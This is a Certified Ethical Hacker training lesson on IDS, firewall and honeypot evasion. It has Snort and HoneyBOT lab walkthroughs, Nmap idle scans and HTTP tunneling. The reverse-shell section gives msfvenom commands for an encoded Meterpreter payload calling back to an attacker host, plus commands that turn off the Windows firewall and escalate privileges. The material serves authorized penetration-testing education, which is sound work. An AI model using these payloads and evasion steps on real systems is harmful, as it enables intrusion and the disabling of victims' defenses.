Cyber Services / All lessons / CEH — Ethical Hacking / CEH Module 12 Guide Techniques for evading IDS

CEH Module 12 Guide Techniques for evading IDS

Module 45 of 130 · 7 min read · Free to read

MODULES ↓ Command blocks have a COPY button

As attackers penetrate networks, they inevitably encounter defensive measures like Intrusion Detection Systems (IDS), Firewalls, and potentially Honeypots. Module 12 focuses on understanding how these defenses work and exploring techniques attackers use to bypass or neutralize them. Recognizing these evasion tactics is critical for both effective penetration testing and robust network defense.

Understanding the Defenses:
  • Firewall: A network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. Typically operates at Layer 3 (IP) and Layer 4 (TCP/UDP ports). Next-Gen Firewalls (NGFW) add application-layer awareness.
  • IDS (Intrusion Detection System): Monitors network traffic or system activities for malicious patterns or policy violations. Issues alerts when suspicious activity is detected. Can be Network-based (NIDS) or Host-based (HIDS).
  • IPS (Intrusion Prevention System): Similar to IDS, but can also actively block or prevent detected intrusions.
  • Honeypot: A decoy system designed to lure attackers, gather intelligence on their methods, and distract them from real targets.
Ethical Application: The techniques described for evasion are intended to help ethical hackers test the effectiveness of security controls during authorized assessments. Using these techniques to bypass defenses without permission is illegal and unethical.

I. Detecting Intrusions with Snort (IDS Example)

Snort is a widely-used, open-source NIDS/IPS. Understanding how it works helps in devising ways to evade it (and conversely, how to configure it better).

Tool: Snort
Analyzes network traffic in real-time, comparing it against a defined set of rules to identify malicious patterns, protocol anomalies, or specific attack signatures.
Scenario: Basic Snort Setup and Alerting on Windows

This walkthrough covers a simplified Snort setup on Windows to detect basic ICMP (ping) traffic based on a custom rule.

Note: Installing and configuring Snort correctly, especially on Windows, can be complex. This is a conceptual lab based on the provided notes; modern Snort versions might have different paths or configuration details. Assume Snort binaries and basic rule structures are already present in C:\Snort.

1. Initial Setup & Configuration File Placement (Windows Target):

- Copy the main configuration file (snort.conf) to C:\Snort\etc\. - Copy the rule folders (rules, so_rules, preproc_rules) to C:\Snort\.

2. Identify Network Interface Index (Windows Target):

Syntax:

REM --- Open Command Prompt ---
cd C:\Snort\bin
snort -W

This lists available network interfaces and their corresponding index numbers. Note the index number for the interface you want Snort to monitor (e.g., assume index is `2`).

3. Initial Test Run (Windows Target):

Syntax:

snort -dev -i 

Example: snort -dev -i 2

Replace 2 with the number noted previously. -dev prints packets to the screen. Test by pinging another machine. Press Ctrl+C to stop.

4. Configure snort.conf (Windows Target - Use Notepad++ or similar):

Carefully edit C:\Snort\etc\snort.conf. (See previous response for detailed configuration directives - this part remains the same).

# Example snippet:
var HOME_NET 10.10.10.12/32
var EXTERNAL_NET any
var RULE_PATH C:\Snort\rules
# ... [Other configurations as detailed before] ...
output alert_fast: alerts.ids

Save the changes to snort.conf.

5. Create a Custom ICMP Rule (Windows Target):

Edit or create C:\Snort\rules\icmp-info.rules.

# Rule to alert on ICMP Echo Request (ping) to HOME_NET (10.10.10.12)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Echo Request PING"; itype:8; icode:0; reference:cve,1999-0265; classtype:misc-activity; sid:1000001; rev:1;)

This rule triggers an alert on ICMP Echo requests to 10.10.10.12.

6. Run Snort in NIDS Mode (Windows Target):

Syntax:

REM --- Run Command Prompt as Administrator ---
cd C:\Snort\bin
snort -i  -A console -c C:\Snort\etc\snort.conf -l C:\Snort\log -K ascii

Example: snort -i 2 -A console -c C:\Snort\etc\snort.conf -l C:\Snort\log -K ascii

-i: Interface index. -A console: Print alerts to console. -c: Configuration file path. -l: Log directory. -K ascii: Log packets in ASCII format.

7. Trigger the Alert (Attacker - e.g., Win 10 or Kali):

Syntax / Example:

# From another machine on the network
ping 10.10.10.12

8. Observe Snort Output (Windows Target):

The Snort console window should display an alert message matching the custom rule ("ICMP Echo Request PING"). Alerts will also be logged.

II. Honeypots: Luring and Detecting Attackers

Honeypots act as decoys, attracting attackers and logging their interactions.

Tool: HoneyBOT (Conceptual Example)

HoneyBOT is described as a medium-interaction honeypot for Windows. It simulates common services (like FTP, HTTP, SMTP) and logs connection attempts and interactions.

Scenario: Detecting FTP Scan with HoneyBOT

1. Prepare Target System (e.g., Win 2016):

- Stop any legitimate services running on ports the honeypot will emulate. Example: Stop the real IIS FTP service.

2. Install and Run HoneyBOT (Win 2016):

- Install and launch HoneyBOT. - Configure it to emulate the desired services (e.g., FTP on port 21). - Start the honeypot.

3. Scan from Attacker (Kali):

Syntax / Examples:

# Perform an FTP connection attempt or scan
ftp 
ftp 10.10.10.16

# Or use Nmap
nmap -p 21 
nmap -p 21 10.10.10.16

4. Observe HoneyBOT Logs (Win 2016):

- Monitor the HoneyBOT interface or logs. - Look for entries indicating connection attempts to the emulated FTP port (21) from the Kali IP.

III. Firewall Evasion Techniques

Firewalls block traffic based on rules (IPs, ports, protocols). Evasion involves crafting packets or using techniques to bypass these rules.

Scenario 1: Nmap Evasion Scans vs. Windows Firewall

Demonstrates how different Nmap scan types interact with basic firewall rules.

1. Configure Windows Firewall Rule (Target - e.g., Win 10):

Configure an inbound rule to block all traffic from the Kali IP (e.g., 10.10.10.11).

2. Perform Nmap Scans (Attacker - Kali):

Syntax / Examples:

# Standard Connect Scan - Likely Blocked
nmap 
nmap 10.10.10.10
# Expected: All 1000 scanned ports show as 'filtered'.

# SYN Scan (Stealth) - Likely Blocked
sudo nmap -sS 
sudo nmap -sS 10.10.10.10
# Expected: All 1000 scanned ports show as 'filtered'.

# Intense Scan - Likely Blocked
sudo nmap -T4 -A 
sudo nmap -T4 -A 10.10.10.10
# Expected: Filtered ports, OS/Service detection likely fails.

# Ping Sweep - Might be Allowed (if ICMP/ARP allowed by other rules)
sudo nmap -sn 
sudo nmap -sn 10.10.10.0/24
# Expected: May show host up, but ports still blocked.

# Zombie / Idle Scan (-sI) - Might Bypass IP block
sudo nmap -sI : 
sudo nmap -sI 10.10.10.12:80 10.10.10.10
# Expected: Might reveal open ports by using the zombie's IP.
Scenario 2: Tunneling via Allowed Ports (HTTP/FTP Example)

Encapsulate blocked traffic (FTP/21) within an allowed protocol (HTTP/80).

Tools: htthost.exe (server), httport3snfm.exe (client).

1. Setup Tunnel Server (e.g., Win 2012 @ 10.10.10.12):

- Stop IIS. Run htthost.exe, configure password, ensure listening on port 80.

2. Configure Firewall & Test Block (e.g., Win 2016):

- Create Outbound rule blocking remote TCP port 21. Verify ftp fails.

3. Configure Tunnel Client (Win 2016):

- Run httport3snfm.exe. - Set Proxy to Tunnel Server (10.10.10.12:80) + password. - Add Port Mapping: Local:21 -> Remote Host: , Remote Port: 21. - Start Proxy.

4. Test Tunnel (Win 2016):

Syntax / Example:

ftp 127.0.0.1

Connection should now succeed via the tunnel, bypassing the direct port 21 block.

Scenario 3: Bypassing with Reverse Shells (Metasploit)

Leverage allowed outbound connections to bypass inbound blocks.

1. Target Firewall State (e.g., Win 2012):

Ensure Windows Firewall is ON.

2. Generate & Deliver Payload (Kali -> Target):

Syntax:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= \
  -f exe -e x86/shikata_ga_nai -b "\x00" -o /root/Desktop/ReversePayload.exe

Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.11 LPORT=4444 -f exe -e x86/shikata_ga_nai -b "\x00" -o /root/Desktop/ReversePayload.exe

Deliver the payload.

3. Setup Listener (Kali):

Syntax / Example:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST  # e.g., 10.10.10.11
set LPORT  # e.g., 4444
exploit -j -z

4. Execute Payload (Target - Win 2012):

Run ReversePayload.exe.

5. Receive Session (Kali):

A Meterpreter session should open, bypassing inbound firewall rules.

6. Disable Firewall via Session (Optional - Post-Exploitation):

Syntax / Example:

sessions -i  # e.g., sessions -i 1
shell

REM --- In the target shell ---
netsh advfirewall show currentprofile state
netsh advfirewall set allprofiles state off
exit

getsystem

IV. Countermeasures Against Evasion

Defending Your Network:
  • Firewall Rule Specificity & Egress Filtering: Block unnecessary outbound traffic.
  • IDS/IPS Tuning & Updates: Keep signatures current, monitor for evasion patterns.
  • Honeypot Deployment: Detect internal scanning and lure attackers.
  • Endpoint Security (EDR/NGAV): Use behavioral analysis and heuristics.
  • Network Segmentation: Limit lateral movement.
  • Proxy Servers & SSL/TLS Inspection: Monitor and filter tunneled traffic.
  • Log Review & Auditing: Actively monitor logs for anomalies.
  • Patch Management: Keep systems updated.

Conclusion

Evading security defenses is a constant cat-and-mouse game. Attackers use techniques like stealth scanning, fragmentation, tunneling, and exploiting configuration weaknesses to bypass firewalls and IDS. Defenders must employ layered security, keep systems updated, tune detection systems, monitor actively, and understand attacker methodologies to effectively protect their networks. Honeypots provide an additional layer for detection and intelligence gathering.

Modules (130) ← CEH — Ethical Hacking